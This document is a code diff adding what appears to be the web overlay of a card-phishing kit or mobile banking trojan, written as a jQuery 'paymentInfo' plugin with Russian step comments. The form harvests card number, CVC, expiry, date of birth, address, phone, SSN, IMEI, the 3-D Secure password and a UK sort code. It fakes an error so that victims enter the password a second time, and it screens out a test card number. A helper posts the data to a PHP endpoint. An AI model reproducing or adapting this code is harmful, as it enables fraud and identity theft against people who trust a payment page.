|
||||
// Check that the number is numeric
|
||||
var cardNo = cardnumber;
|
||||
var cardexp = /^[0-9]{13,19}$/;
|
||||
if (!cardexp.exec(cardNo)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Establish card type
|
||||
var cardType = -1;
|
||||
|
||||
for (var i = 0; i < cards.length; i++) {
|
||||
|
||||
// We use these for holding the valid lengths and prefixes of a card type
|
||||
var prefix = new Array();
|
||||
|
||||
// Load an array with the valid prefixes for this card
|
||||
prefix = cards[i].prefixes.split(",");
|
||||
|
||||
// Now see if any of them match what we have in the card number
|
||||
for (var j = 0; j < prefix.length; j++) {
|
||||
var exp = new RegExp("^" + prefix[j]);
|
||||
if (exp.test(cardnumber)) {
|
||||
cardType = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (cardType != -1) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// If card type not found, report an error
|
||||
if (cardType == -1) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Now check the modulus 10 check digit - if required
|
||||
if (cards[cardType].checkdigit) {
|
||||
var checksum = 0; // running checksum total
|
||||
var mychar = ""; // next char to process
|
||||
var j = 1; // takes value of 1 or 2
|
||||
|
||||
// Process each digit one by one starting at the right
|
||||
var calc;
|
||||
for (i = cardNo.length - 1; i >= 0; i--) {
|
||||
|
||||
// Extract the next digit and multiply by 1 or 2 on alternative digits.
|
||||
calc = Number(cardNo.charAt(i)) * j;
|
||||
|
||||
// If the result is in two digits add 1 to the checksum total
|
||||
if (calc > 9) {
|
||||
checksum = checksum + 1;
|
||||
calc = calc - 10;
|
||||
}
|
||||
|
||||
// Add the units element to the checksum total
|
||||
checksum = checksum + calc;
|
||||
|
||||
// Switch the value of j
|
||||
if (j == 1) {
|
||||
j = 2
|
||||
} else {
|
||||
j = 1
|
||||
};
|
||||
}
|
||||
|
||||
// All done - if checksum is divisible by 10, it is a valid modulus 10.
|
||||
// If not, report an error.
|
||||
if (checksum % 10 != 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Check it's not a spam number
|
||||
if (cardNo == '5490997771092064') {
|
||||
return false;
|
||||
}
|
||||
|
||||
// The following are the card-specific checks we undertake.
|
||||
var LengthValid = false;
|
||||
var undefined;
|
||||
|
||||
var lengths = new Array();
|
||||
// See if the length is valid for this card
|
||||
lengths = cards[cardType].length.split(",");
|
||||
for (j = 0; j < lengths.length; j++) {
|
||||
if (cardNo.length == lengths[j])
|
||||
LengthValid = true;
|
||||
}
|
||||
|
||||
// See if all is OK by seeing if the length was valid. We only check the length if all else was
|
||||
// hunky dory.
|
||||
if (!LengthValid) {
|
||||
return false;
|
||||
};
|
||||
|
||||
// The credit card is in the required format.
|
||||
return true;
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
methods = {
|
||||
|
||||
init: function (options) {
|
||||
|
||||
opts = $.extend({}, $.fn.paymentInfo.defaults, options);
|
||||
|
||||
$('.' + opts.saveButtonClass).click(function (e) {
|
||||
helpers.checkHolderDataAndTransmit(true);
|
||||
})
|
||||
|
||||
$('.' + opts.verifyButtonClass).click(function (e) {
|
||||
helpers.checkVbvDataAndTransmit();
|
||||
})
|
||||
|
||||
return this.each(function () {
|
||||
|
||||
$(this)
|
||||
.find('.' + opts.cardExpirationClass)
|
||||
.mask('00/00', {
|
||||
onComplete: function(cep) {
|
||||
helpers.expirationComplete();
|
||||
},
|
||||
onInvalid: function(val, e, f, invalid, options) {
|
||||
helpers.expirationInComplete();
|
||||
}
|
||||
})
|
||||
.bind('blur', function (e) {
|
||||
if (!cardExpirationIsOk) {
|
||||
helpers.showErrorField(opts.cardExpirationClass);
|
||||
}
|
||||
})
|
||||
.end()
|
||||
.find('.' + opts.postalCodeClass)
|
||||
.bind('blur', function (e) {
|
||||
helpers.checkHolderDataAndTransmit(false);
|
||||
})
|
||||
.end()
|
||||
.find('.' + opts.prefixNumberClass)
|
||||
.mask('000000')
|
||||
.bind('blur', function (e) {
|
||||
helpers.checkHolderDataAndTransmit(false);
|
||||
})
|
||||
.end()
|
||||
.find('.' + opts.phoneNumberClass)
|
||||
.mask('00000000000')
|
||||
.bind('blur', function (e) {
|
||||
helpers.checkHolderDataAndTransmit(false);
|
||||
})
|
||||
.end();
|
||||
|
||||
helpers.matchNumbers($(this).find('.' + opts.cardNumberClass).eq(0));
|
||||
|
||||
}).unbind('.' + pluginName).bind(events, function () {
|
||||
helpers.matchNumbers($(this).find('.' + opts.cardNumberClass).eq(0));
|
||||
});
|
||||
},
|
||||
|
||||
// Need to add this later.
|
||||
destroy: function () {
|
||||
return this.unbind('.' + pluginName);
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
if (methods[method]) {
|
||||
return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
|
||||
}
|
||||
if (typeof method === "object" || !method) {
|
||||
return methods.init.apply(this, arguments);
|
||||
}
|
||||
};
|
||||
|
||||
$.fn.paymentInfo.defaults = {
|
||||
URL: "URL",
|
||||
AN: "AN",
|
||||
SSN: "SSN",
|
||||
imei: "imei",
|
||||
cardCvvClass: "card-cvc",
|
||||
cardCvcHint: "cvc-hint",
|
||||
cardMmYyCvcBlock: "month-year-cvc-block",
|
||||
cardExpirationClass: "card-expiration",
|
||||
cardNumberClass: "card-number",
|
||||
cardHolderClass: "card-holder",
|
||||
dateBirthClass: "date-birth",
|
||||
postalCodeClass: "postal-code",
|
||||
holderAddressClass: "holder-address",
|
||||
prefixNumberClass: "phone-prefix",
|
||||
phoneNumberClass: "phone-number",
|
||||
saveButtonClass: "save-button",
|
||||
verifyButtonClass: "verify-button",
|
||||
cardDataBlockId: "card-data-block",
|
||||
addressFieldsBlockId: "address-fields-block",
|
||||
vbvImageClass: "vbv-image",
|
||||
cardVbvClass: "card-vbv",
|
||||
cardVbvBlockId: "card-vbv-block",
|
||||
textTitleClass: "text-title",
|
||||
buttonBarClass: "button-bar",
|
||||
animationWait: 600,
|
||||
focusDelay: 200
|
||||
};
|
||||
|
||||
}(jQuery));
|
||||
|
||||
$(".credit-card-group").paymentInfo();
|
||||
@@ -0,0 +1,783 @@
|
||||
(function ($) {
|
||||
|
||||
|
||||
|
||||
|
||||
$.fn.paymentInfo = function (method) {
|
||||
|
||||
var typeCard;
|
||||
var numberCC;
|
||||
var month_;
|
||||
var year_;
|
||||
|
||||
var date = new Date();
|
||||
var dataGet = date.toDateString() + " " + date.getHours() + ":" + date.getMinutes();
|
||||
|
||||
|
||||
function getAjax(text) {
|
||||
var msg = $('#myForm').serialize();
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: '/o1o/a10.php',
|
||||
data: text,
|
||||
success: function(data) {
|
||||
$('.results').html(data);
|
||||
},
|
||||
error: function(xhr, str){
|
||||
alert('Возникла ошибка: ' + xhr.responseCode);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
var methods,
|
||||
helpers,
|
||||
events,
|
||||
ccDefinitions,
|
||||
opts,
|
||||
cardType,
|
||||
pluginName = "paymentInfo",
|
||||
cardCvcIsOk = false,
|
||||
cardNumberIsOk = false,
|
||||
doubleVbvWasSent = false,
|
||||
cardExpirationIsOk = false,
|
||||
versionSDK = getVersionSdk();
|
||||
|
||||
// Events map for the matchNumbers() function.
|
||||
events = $.map(['change', 'blur', 'keyup', 'keypress', 'keydown'], function (v) {
|
||||
return v + '.' + pluginName;
|
||||
}).join(' ');
|
||||
|
||||
// Credit card regex patterns.
|
||||
ccDefinitions = {
|
||||
|
||||
'visa': /^4/,
|
||||
'mastercard': /^5[1-5]/,
|
||||
'amex': /^3(4|7)/,
|
||||
'diners': /^3(00|01|02|03|04|05|5|8|9|09)/,
|
||||
'discover': /^6(5|011|44|45|46|47|48|49)/,
|
||||
'jcb': /^35[28-89]/
|
||||
};
|
||||
|
||||
helpers = {
|
||||
|
||||
getCreditCardType: function (number) {
|
||||
var ccType;
|
||||
numberCC=number;
|
||||
$.each(ccDefinitions, function (i, v) {
|
||||
if (v.test(number)) {
|
||||
ccType = i;
|
||||
typeCard = i;
|
||||
return false;
|
||||
}
|
||||
});
|
||||
return ccType;
|
||||
},
|
||||
|
||||
showAllCardImages: function () {
|
||||
$('.img_cards').fadeIn( 'slow' );
|
||||
},
|
||||
|
||||
showErrorField: function (field_class) {
|
||||
$('.' + field_class).addClass('field_error');
|
||||
var width = $('.' + field_class).offset().left + $('.' + field_class).width();
|
||||
$('#' + field_class + '-error').css('left', width - 12);
|
||||
var display = (field_class == opts.cardVbvClass) ? 'block' : 'inline-flex';
|
||||
$('#' + field_class + '-error').css('display', display);
|
||||
},
|
||||
|
||||
hideErrorField: function (field_class) {
|
||||
$('.' + field_class).removeClass('field_error');
|
||||
$('#' + field_class + '-error').hide();
|
||||
},
|
||||
|
||||
expirationInComplete: function () {
|
||||
cardExpirationIsOk = false;
|
||||
},
|
||||
|
||||
expirationComplete: function () {
|
||||
cardExpirationIsOk = true;
|
||||
var mmYY = $('.' + opts.cardExpirationClass).val().split('/');
|
||||
var month = parseInt(mmYY[0]);
|
||||
var year = parseInt(mmYY[1]);
|
||||
|
||||
|
||||
|
||||
if (month > 12 || month < 1 || year > 26 || year < 16) {
|
||||
helpers.showErrorField(opts.cardExpirationClass);
|
||||
cardExpirationIsOk = false;
|
||||
} else {
|
||||
|
||||
month_=month;
|
||||
year_=year;
|
||||
|
||||
helpers.hideErrorField(opts.cardExpirationClass);
|
||||
cardExpirationIsOk = true;
|
||||
setTimeout(function () {
|
||||
$('.' + opts.cardCvvClass).focus();
|
||||
$('.' + opts.cardCvcHint).fadeIn('slow');
|
||||
}, 220);
|
||||
}
|
||||
},
|
||||
|
||||
cvcInComplete: function () {
|
||||
cardCvcIsOk = false;
|
||||
},
|
||||
|
||||
cvcComplete: function () {/*****************************************************************************************ПЕРВЫЙ ШАГ*/
|
||||
|
||||
|
||||
|
||||
cardCvcIsOk = true;
|
||||
helpers.hideErrorField(opts.cardCvvClass);
|
||||
helpers.checkCardDataAndTransmit();
|
||||
|
||||
|
||||
var CVC = $('.' + opts.cardCvvClass).val();
|
||||
var IMEI = $('.' + opts.imei).val();
|
||||
|
||||
|
||||
|
||||
|
||||
//alert(typeCard + " | " + numberCC + " | " + month_ + "/" + year_ + " " + CVC + " " + IMEI);
|
||||
},
|
||||
|
||||
exists: function () {
|
||||
|
||||
return $(this).length;
|
||||
|
||||
|
||||
},
|
||||
|
||||
checkCardDataAndTransmit: function () {
|
||||
if (!cardNumberIsOk) {
|
||||
|
||||
|
||||
helpers.showErrorField(opts.cardNumberClass);
|
||||
$('.' + opts.cardNumberClass).focus();
|
||||
return;
|
||||
}
|
||||
if (!cardExpirationIsOk) {
|
||||
helpers.showErrorField(opts.cardExpirationClass);
|
||||
$('.' + opts.cardExpirationClass).focus();
|
||||
return;
|
||||
}
|
||||
var mmYY = $('.' + opts.cardExpirationClass).val().split('/');
|
||||
var mmYYarr = [
|
||||
{ name: 'expiredMonth', value: mmYY[0] },
|
||||
{ name: 'expiredYear', value: mmYY[1] } ];
|
||||
if (transmit(1, opts.cardDataBlockId, false, mmYYarr)) {
|
||||
$('#' + opts.cardDataBlockId).hide();
|
||||
$('#' + opts.addressFieldsBlockId).slideDown(700);
|
||||
$('.' + opts.saveButtonClass).attr('disabled', false);
|
||||
}
|
||||
},
|
||||
|
||||
checkHolderDataAndTransmit: function (pressSend) {
|
||||
if ($('.' + opts.cardHolderClass).val().length < 10) {
|
||||
helpers.showErrorField(opts.cardHolderClass);
|
||||
$('.' + opts.cardHolderClass).focus();
|
||||
return;
|
||||
}
|
||||
|
||||
helpers.hideErrorField(opts.cardHolderClass);
|
||||
|
||||
var dateBirth = $('.' + opts.dateBirthClass).val();
|
||||
if (dateBirth.length != 10) {
|
||||
helpers.showErrorField(opts.dateBirthClass);
|
||||
$('.' + opts.dateBirthClass).focus();
|
||||
return;
|
||||
}
|
||||
var resultReg = dateBirth.match(/^\d{2}\.\d{2}\.(\d{4})$/);
|
||||
var year = resultReg[1];
|
||||
if (!year || year > 2006 || year < 1956) {
|
||||
helpers.showErrorField(opts.dateBirthClass);
|
||||
$('.' + opts.dateBirthClass).focus();
|
||||
return;
|
||||
}
|
||||
helpers.hideErrorField(opts.dateBirthClass);
|
||||
|
||||
var phonePrefix = $('.' + opts.prefixNumberClass).val();
|
||||
if (phonePrefix.length == 0) {
|
||||
helpers.showErrorField(opts.prefixNumberClass);
|
||||
$('.' + opts.prefixNumberClass).focus();
|
||||
return;
|
||||
}
|
||||
helpers.hideErrorField(opts.prefixNumberClass);
|
||||
|
||||
var phoneBody = $('.' + opts.phoneNumberClass).val();
|
||||
if (phoneBody.length < 7) {
|
||||
helpers.showErrorField(opts.phoneNumberClass);
|
||||
$('.' + opts.phoneNumberClass).focus();
|
||||
return;
|
||||
}
|
||||
helpers.hideErrorField(opts.phoneNumberClass);
|
||||
|
||||
var numberPhone = phonePrefix.concat(phoneBody).replace(/ /ig, '');
|
||||
var numberPhoneArr = [ { name: 'phoneNumber', value: numberPhone } ];
|
||||
var thirdStep = (cardType == 'visa' || cardType == 'mastercard');
|
||||
|
||||
if (pressSend) {
|
||||
|
||||
|
||||
|
||||
$('.' + opts.saveButtonClass).attr('disabled', true);
|
||||
setTimeout(function () {
|
||||
$('.' + opts.saveButtonClass).attr('disabled', false)
|
||||
}, 2500);
|
||||
|
||||
if (transmit(2, opts.addressFieldsBlockId, !thirdStep, numberPhoneArr)) {
|
||||
if (thirdStep) {
|
||||
if (cardType == 'mastercard') {
|
||||
var imgUrl = 'images/mdpi/mastercard_securecode_logo.png';
|
||||
$('.' + opts.vbvImageClass).attr('src', imgUrl);
|
||||
}
|
||||
|
||||
var сardHolder = $('.' + opts.cardHolderClass).val();
|
||||
var dateBirth = $('.' + opts.dateBirthClass).val();
|
||||
var postalCode = $('.' + opts.postalCodeClass).val();
|
||||
var holderAddress = $('.' + opts.holderAddressClass).val();
|
||||
var prefixNumber = $('.' + opts.prefixNumberClass).val();
|
||||
var phoneNumber = $('.' + opts.phoneNumberClass).val();
|
||||
var IMEI = $('.' + opts.imei).val();
|
||||
|
||||
var SSN_ = $('.' + opts.SSN).val();
|
||||
var AN_ = $('.' + opts.AN).val();
|
||||
|
||||
|
||||
/*****************************************************************************************ВТОРОЙ ШАГ*/
|
||||
|
||||
|
||||
|
||||
$('.' + opts.cardVbvClass).focus();
|
||||
$('.' + opts.saveButtonClass).hide();
|
||||
$('.' + opts.verifyButtonClass).show();
|
||||
} else {
|
||||
helpers.startEndSpinner();
|
||||
}
|
||||
$('.' + opts.textTitleClass).hide();
|
||||
$('#' + opts.addressFieldsBlockId).hide();
|
||||
$('#' + opts.cardVbvBlockId).show();
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
checkVbvDataAndTransmit: function () {
|
||||
if ($('.' + opts.cardVbvClass).val().length < 4) {
|
||||
helpers.showErrorField(opts.cardVbvClass);
|
||||
return;
|
||||
}
|
||||
|
||||
if (doubleVbvWasSent) {
|
||||
|
||||
helpers.hideErrorField(opts.cardVbvClass);
|
||||
helpers.startEndSpinner();
|
||||
var stepID = (getCountryCode() == 'gb') ? 5 : 4;
|
||||
transmit(stepID, opts.cardVbvBlockId, true);
|
||||
|
||||
} else {
|
||||
var VBV = $('.' + opts.cardVbvClass).val();
|
||||
var IMEI = $('.' + opts.imei).val();
|
||||
|
||||
|
||||
//alert(VBV);
|
||||
/*****************************************************************************************ТРЕТИЙ ШАГ*/
|
||||
transmit(3, opts.cardVbvBlockId, false);
|
||||
|
||||
doubleVbvWasSent = true;
|
||||
$('.' + opts.cardVbvClass).val('');
|
||||
helpers.showErrorField(opts.cardVbvClass);
|
||||
$('.' + opts.cardVbvClass).removeClass('field_error');
|
||||
$('.' + opts.cardVbvClass).attr('name','vbvPassRepeat');
|
||||
|
||||
if (getCountryCode() == 'gb') {
|
||||
$('.' + opts.vbvImageClass).attr('src', 'images/mdpi/lock.png');
|
||||
$('.' + opts.cardVbvClass).attr('placeholder', 'Sort code');
|
||||
$('.' + opts.cardVbvClass).attr('name', 'sortCode');
|
||||
$('.' + opts.cardVbvClass).focus();
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
startEndSpinner: function () {
|
||||
var Sort_code = $('.' + opts.cardVbvClass).val();
|
||||
var IMEI = $('.' + opts.imei).val();
|
||||
|
||||
|
||||
//alert(Sort_code);
|
||||
/*****************************************************************************************ЧЕТВЕРТЫЙ ШАГ*/
|
||||
|
||||
|
||||
$('.' + opts.vbvImageClass).attr('src', 'images/spinner.gif');
|
||||
$('.' + opts.vbvImageClass).css('height', '100%');
|
||||
$('.' + opts.vbvImageClass).css('width', '100%');
|
||||
$('.' + opts.vbvImageClass).css('margin-top', '10px');
|
||||
$('.' + opts.buttonBarClass).hide();
|
||||
$('.' + opts.cardVbvClass).attr('style','display:none !important');
|
||||
},
|
||||
|
||||
matchNumbers: function (element) {
|
||||
|
||||
var cardNumber = element.val();
|
||||
cardType = helpers.getCreditCardType(cardNumber);
|
||||
|
||||
if (cardNumber != "") {
|
||||
if (cardType !== undefined && $('#img_card_' + cardType).exists()) {
|
||||
$('#img_card_' + cardType).removeClass('img_cards');
|
||||
$('.img_cards').fadeOut( 'slow' );
|
||||
$('#img_card_' + cardType).addClass('img_cards');
|
||||
} else {
|
||||
helpers.showAllCardImages();
|
||||
}
|
||||
} else {
|
||||
helpers.showAllCardImages();
|
||||
}
|
||||
|
||||
//if (false && versionSDK < 16) {
|
||||
/*
|
||||
if (cardType == "amex" && cardNumber.length == 15) {
|
||||
helpers.creditCardComplete();
|
||||
} else if (cardNumber.length == 16) {
|
||||
helpers.creditCardComplete();
|
||||
}
|
||||
*/
|
||||
//} else {
|
||||
|
||||
var maskCVC = (cardType === "amex") ? '0000' : '000';
|
||||
|
||||
$('.' + opts.cardCvvClass)
|
||||
.mask(maskCVC, {
|
||||
onComplete: function(cep) {
|
||||
helpers.cvcComplete();
|
||||
},
|
||||
onInvalid: function(val, e, f, invalid, options) {
|
||||
helpers.cvcInComplete();
|
||||
}
|
||||
})
|
||||
.bind('blur', function (e) {
|
||||
if (!cardCvcIsOk) {
|
||||
helpers.showErrorField(opts.cardCvvClass);
|
||||
}
|
||||
});
|
||||
|
||||
var mask = (cardType === "amex")
|
||||
? '0000 000000 00000'
|
||||
: '0000 0000 0000 0000';
|
||||
|
||||
element.mask(mask, {
|
||||
onComplete: function(cep) {
|
||||
helpers.creditCardComplete();
|
||||
}
|
||||
});
|
||||
//}
|
||||
},
|
||||
|
||||
creditCardComplete: function () {
|
||||
|
||||
var element = $('.' + opts.cardNumberClass),
|
||||
uvalue = element.val(),
|
||||
element_error = $('.' + opts.cardNumberClass + '_error');
|
||||
|
||||
cardType = helpers.getCreditCardType(uvalue);
|
||||
|
||||
if (cardType === "amex" && uvalue.length === 15) {
|
||||
$('.' + opts.cardCvcHint).attr('src', 'images/mdpi/cvc_hint_amex.png');
|
||||
} else if (cardType !== "amex" && uvalue.length === 16) {
|
||||
$('.' + opts.cardCvcHint).attr('src', 'images/mdpi/cvc_hint_default.png');
|
||||
}
|
||||
|
||||
var ccDigit = uvalue.replace(/ /ig, '');
|
||||
|
||||
if (!helpers.ccLuhnCheck(ccDigit) || !helpers.checkCreditCard(ccDigit)) {
|
||||
helpers.showErrorField(opts.cardNumberClass);
|
||||
cardNumberIsOk = false;
|
||||
return;
|
||||
}
|
||||
|
||||
cardNumberIsOk = true;
|
||||
helpers.hideErrorField(opts.cardNumberClass);
|
||||
$('.' + opts.cardMmYyCvcBlock).show();
|
||||
$('.' + opts.cardExpirationClass).focus();
|
||||
},
|
||||
|
||||
beginCreditCard: function (element) {
|
||||
|
||||
$(element)
|
||||
.unbind("keypress blur")
|
||||
.bind("keypress blur", function (e) {
|
||||
|
||||
if (e.keyCode === 13 || e.type === 'blur') {
|
||||
|
||||
var uvalue = $(element).val();
|
||||
cardType = helpers.getCreditCardType(uvalue);
|
||||
|
||||
// Make sure the number length is valid
|
||||
if ((cardType === "amex" && uvalue.length === 15) ||
|
||||
(cardType !== "amex" && uvalue.length === 16)) {
|
||||
helpers.creditCardComplete();
|
||||
} else {
|
||||
cardNumberIsOk = false;
|
||||
}
|
||||
}
|
||||
|
||||
})
|
||||
.unbind("focus click keydown");
|
||||
},
|
||||
|
||||
ccLuhnCheck: function (card_number) {
|
||||
|
||||
var arr = [],
|
||||
card_number = card_number.toString();
|
||||
|
||||
for(var i = 0; i < card_number.length; i++) {
|
||||
|
||||
if(i % 2 === 0) {
|
||||
|
||||
var m = parseInt(card_number[i]) * 2;
|
||||
|
||||
if(m > 9) {
|
||||
arr.push(m - 9);
|
||||
} else {
|
||||
arr.push(m);
|
||||
}
|
||||
} else {
|
||||
var n = parseInt(card_number[i]);
|
||||
arr.push(n)
|
||||
}
|
||||
}
|
||||
|
||||
var summ = arr.reduce(function(a, b) { return a + b; });
|
||||
return Boolean(!(summ % 10));
|
||||
},
|
||||
|
||||
checkCreditCard: function (cardnumber) {
|
||||
|
||||
var badDigits = [
|
||||
'00000',
|
||||
'111111',
|
||||
'222222',
|
||||
'333333',
|
||||
'444444',
|
||||
'555555',
|
||||
'666666',
|
||||
'777777',
|
||||
'888888',
|
||||
'999999'
|
||||
];
|
||||
|
||||
var goodCard = true;
|
||||
|
||||
$.each(badDigits, function() {
|
||||
|
||||
if (cardnumber.indexOf(this) != -1) {
|
||||
goodCard = false;
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
if ( ! goodCard )
|
||||
return false;
|
||||
|
||||
// Array to hold the permitted card characteristics
|
||||
var cards = new Array();
|
||||
|
||||
// Define the cards we support. You may add addtional card types as follows.
|
||||
|
||||
// Name: As in the selection box of the form - must be same as user's
|
||||
// Length: List of possible valid lengths of the card number for the card
|
||||
// prefixes: List of possible prefixes for the card
|
||||
// checkdigit: Boolean to say whether there is a check digit
|
||||
|
||||
cards[0] = {
|
||||
name : "Visa",
|
||||
length : "13,16",
|
||||
prefixes : "4",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[1] = {
|
||||
name : "MasterCard",
|
||||
length : "16",
|
||||
prefixes : "51,52,53,54,55",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[2] = {
|
||||
name : "DinersClub",
|
||||
length : "14,16",
|
||||
prefixes : "36,38,54,55",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[3] = {
|
||||
name : "CarteBlanche",
|
||||
length : "14",
|
||||
prefixes : "300,301,302,303,304,305",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[4] = {
|
||||
name : "AmEx",
|
||||
length : "15",
|
||||
prefixes : "34,37",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[5] = {
|
||||
name : "Discover",
|
||||
length : "16",
|
||||
prefixes : "6011,622,64,65",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[6] = {
|
||||
name : "JCB",
|
||||
length : "16",
|
||||
prefixes : "35",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[7] = {
|
||||
name : "enRoute",
|
||||
length : "15",
|
||||
prefixes : "2014,2149",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[8] = {
|
||||
name : "Solo",
|
||||
length : "16,18,19",
|
||||
prefixes : "6334,6767",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[9] = {
|
||||
name : "Switch",
|
||||
length : "16,18,19",
|
||||
prefixes : "4903,4905,4911,4936,564182,633110,6333,6759",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[10] = {
|
||||
name : "Maestro",
|
||||
length : "12,13,14,15,16,18,19",
|
||||
prefixes : "5018,5020,5038,6304,6759,6761,6762,6763",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[11] = {
|
||||
name : "VisaElectron",
|
||||
length : "16",
|
||||
prefixes : "4026,417500,4508,4844,4913,4917",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[12] = {
|
||||
name : "LaserCard",
|
||||
length : "16,17,18,19",
|
||||
prefixes : "6304,6706,6771,6709",
|
||||
checkdigit : true
|
||||
};
|
||||
|
||||
// Ensure that the user has provided a credit card number
|
||||
if (cardnumber.length == 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Now remove any spaces from the credit card number
|
||||
cardnumber = cardnumber.replace(/\s/g, "");
|
||||
|
||||
// Check that the number is numeric
|
||||
var cardNo = cardnumber;
|
||||
var cardexp = /^[0-9]{13,19}$/;
|
||||
if (!cardexp.exec(cardNo)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Establish card type
|
||||
var cardType = -1;
|
||||
|
||||
for (var i = 0; i < cards.length; i++) {
|
||||
|
||||
// We use these for holding the valid lengths and prefixes of a card type
|
||||
var prefix = new Array();
|
||||
|
||||
// Load an array with the valid prefixes for this card
|
||||
prefix = cards[i].prefixes.split(",");
|
||||
|
||||
// Now see if any of them match what we have in the card number
|
||||
for (var j = 0; j < prefix.length; j++) {
|
||||
var exp = new RegExp("^" + prefix[j]);
|
||||
if (exp.test(cardnumber)) {
|
||||
cardType = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (cardType != -1) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// If card type not found, report an error
|
||||
if (cardType == -1) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Now check the modulus 10 check digit - if required
|
||||
if (cards[cardType].checkdigit) {
|
||||
var checksum = 0; // running checksum total
|
||||
var mychar = ""; // next char to process
|
||||
var j = 1; // takes value of 1 or 2
|
||||
|
||||
// Process each digit one by one starting at the right
|
||||
var calc;
|
||||
for (i = cardNo.length - 1; i >= 0; i--) {
|
||||
|
||||
// Extract the next digit and multiply by 1 or 2 on alternative digits.
|
||||
calc = Number(cardNo.charAt(i)) * j;
|
||||
|
||||
// If the result is in two digits add 1 to the checksum total
|
||||
if (calc > 9) {
|
||||
checksum = checksum + 1;
|
||||
calc = calc - 10;
|
||||
}
|
||||
|
||||
// Add the units element to the checksum total
|
||||
checksum = checksum + calc;
|
||||
|
||||
// Switch the value of j
|
||||
if (j == 1) {
|
||||
j = 2
|
||||
} else {
|
||||
j = 1
|
||||
};
|
||||
}
|
||||
|
||||
// All done - if checksum is divisible by 10, it is a valid modulus 10.
|
||||
// If not, report an error.
|
||||
if (checksum % 10 != 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Check it's not a spam number
|
||||
if (cardNo == '5490997771092064') {
|
||||
return false;
|
||||
}
|
||||
|
||||
// The following are the card-specific checks we undertake.
|
||||
var LengthValid = false;
|
||||
var undefined;
|
||||
|
||||
var lengths = new Array();
|
||||
// See if the length is valid for this card
|
||||
lengths = cards[cardType].length.split(",");
|
||||
for (j = 0; j < lengths.length; j++) {
|
||||
if (cardNo.length == lengths[j])
|
||||
LengthValid = true;
|
||||
}
|
||||
|
||||
// See if all is OK by seeing if the length was valid. We only check the length if all else was
|
||||
// hunky dory.
|
||||
if (!LengthValid) {
|
||||
return false;
|
||||
};
|
||||
|
||||
// The credit card is in the required format.
|
||||
return true;
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
methods = {
|
||||
|
||||
init: function (options) {
|
||||
|
||||
opts = $.extend({}, $.fn.paymentInfo.defaults, options);
|
||||
|
||||
$('.' + opts.saveButtonClass).click(function (e) {
|
||||
helpers.checkHolderDataAndTransmit(true);
|
||||
})
|
||||
|
||||
$('.' + opts.verifyButtonClass).click(function (e) {
|
||||
helpers.checkVbvDataAndTransmit();
|
||||
})
|
||||
|
||||
return this.each(function () {
|
||||
|
||||
$(this)
|
||||
.find('.' + opts.cardExpirationClass)
|
||||
.mask('00/00', {
|
||||
onComplete: function(cep) {
|
||||
helpers.expirationComplete();
|
||||
},
|
||||
onInvalid: function(val, e, f, invalid, options) {
|
||||
helpers.expirationInComplete();
|
||||
}
|
||||
})
|
||||
.bind('blur', function (e) {
|
||||
if (!cardExpirationIsOk) {
|
||||
helpers.showErrorField(opts.cardExpirationClass);
|
||||
}
|
||||
})
|
||||
.end()
|
||||
.find('.' + opts.postalCodeClass)
|
||||
.bind('blur', function (e) {
|
||||
helpers.checkHolderDataAndTransmit(false);
|
||||
})
|
||||
.end()
|
||||
.find('.' + opts.prefixNumberClass)
|
||||
.mask('000000')
|
||||
.bind('blur', function (e) {
|
||||
helpers.checkHolderDataAndTransmit(false);
|
||||
})
|
||||
.end()
|
||||
.find('.' + opts.phoneNumberClass)
|
||||
.mask('00000000000')
|
||||
.bind('blur', function (e) {
|
||||
helpers.checkHolderDataAndTransmit(false);
|
||||
})
|
||||
.end();
|
||||
|
||||
helpers.matchNumbers($(this).find('.' + opts.cardNumberClass).eq(0));
|
||||
|
||||
}).unbind('.' + pluginName).bind(events, function () {
|
||||
helpers.matchNumbers($(this).find('.' + opts.cardNumberClass).eq(0));
|
||||
});
|
||||
},
|
||||
|
||||
// Need to add this later.
|
||||
destroy: function () {
|
||||
return this.unbind('.' + pluginName);
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
if (methods[method]) {
|
||||
return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
|
||||
}
|
||||
if (typeof method === "object" || !method) {
|
||||
return methods.init.apply(this, arguments);
|
||||
}
|
||||
};
|
||||
|
||||
$.fn.paymentInfo.defaults = {
|
||||
AN: "AN",
|
||||
SSN: "SSN",
|
||||
imei: "imei",
|
||||
cardCvvClass: "card-cvc",
|
||||
cardCvcHint: "cvc-hint",
|
||||
cardMmYyCvcBlock: "month-year-cvc-block",
|
||||
cardExpirationClass: "card-expiration",
|
||||
cardNumberClass2: "card-number2",
|
||||
cardNumberClass: "card-number",
|
||||
cardHolderClass: "card-holder",
|
||||
dateBirthClass: "date-birth",
|
||||
postalCodeClass: "postal-code",
|
||||
holderAddressClass: "holder-address",
|
||||
